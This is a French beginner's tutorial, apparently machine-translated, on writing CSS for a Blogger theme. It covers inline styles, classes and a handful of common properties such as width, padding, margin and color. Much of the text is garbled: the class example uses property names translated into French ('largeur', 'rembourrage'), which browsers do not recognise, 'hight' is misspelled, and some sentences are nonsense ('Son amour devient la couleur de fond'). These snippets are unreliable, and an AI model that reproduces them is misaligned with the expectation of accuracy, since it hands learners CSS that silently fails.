En tant que blogueur, vous n'avez besoin de rien dans cette langue tant que votre theme est précis et qu'il ne pose aucun problème.

Mais savoir écrire cette langue est une bonne information dont vous pourriez avoir besoin ou qui pourrait vous faciliter certaines choses.

Comment écrire du CSS

Il y a deux façons d'écrire du CSS

Première méthode:

À intégrer directement dans HTML

Par exemple, ceci est un code de lien

<a style="width:100px; padding:5px 10px;" href="https://logitec5.blogspot.com">Logitec5</a>

Comme vous pouvez le voir, les codes CSS sont placés à l'intérieur du code de style entre guillemets ""

Vous pouvez le faire avec n'importe quel élément HTML en y ajoutant un code de style et en y incluant, comme dans l'exemple, tout le code CSS de l'élément

Mais cette méthode est plus adaptée sinon, beaucoup de codes css seront utilisés, mais si beaucoup de codes seront utilisés, on passera à l'autre méthode

Deuxième méthode:

Il s'agit d'utiliser une classe ou un identifiant pour l'élément

Exemple du même code que ci-dessus

<a class='logitec5' href="https://logitec5.blogspot.com/">mon site</a>

Comme vous pouvez le voir, une classe lui a été ajoutée logitec5

Ce class sera utilisée pour écrire le même code css comme suit:

.logitec5 {

largeur : 100 px ;

rembourrage : 5px 10px ;

}

Et les codes ainsi inclus sont ajoutés au dessus de la balise []></b:skin> dans le template

ou entre deux éléments <style> </style> placés au-dessus de la balise </head> ., par exemple

5 codes les plus populaires:

1- largeur

C'est la balise pour la largeur de l'élément

Il s'écrit width:100px;

Le nombre 100 peut être remplacé par n'importe quel nombre supérieur ou inférieur

2 hauteur

C'est la hauteur

Il s'écrit comme suit :

hight: 100px ;

Idem pour le changement de numéro

3 padding

C'est l'espace de l'espace intérieur de l'élément ou de la note de bas de page

padding: 10px 15px 6px 8px ;

10 Vider par le haut

15 à droite

6 vers le bas

8 restants

Vous pouvez l'écrire comme padding:10px;

Cela signifie que de tous les côtés l'espace sera de 10 pixels

4 marge

Même rembourrage mais ce bord extérieur est autour de l'élément et plus éloigné des éléments à côté

Et écrire de la même manière

margin: 10px 15px 6px 8px ;

5 couleur

C'est pour la couleur des textes dans les éléments

Et écrivez comme ceci :

color :#000000 ;

Remplacez simplement #000000 par un autre code couleur

Et vous pouvez y ajouter un background

Son amour devient la couleur de fond de l'élément, pas le texte

background : #000000 ;

Bien sûr, ce que j'ai mentionné ici n'est qu'un aperçu de l'utilisation de ce langage ou même de ces codes. Il existe de très nombreuses possibilités même pour écrire ces mêmes codes, mais vous en trouvez ici l'utilisation simplifiée dont vous pourriez avoir besoin lors de son utilisation.

Je voudrais conclure avec un autre code qui est display:block;

Ce code donne à l'élément un style plus indépendant à l'écran et vous en aurez peut-être besoin si vous ne trouvez pas que les codes de largeur et de hauteur vous répondent et affichent leurs résultats

Ouvrez une page statique dans votre blog et essayez ces codes et voyez les résultats. Ces codes peuvent vous aider à améliorer le format de vos articles ou la taille de vos images

0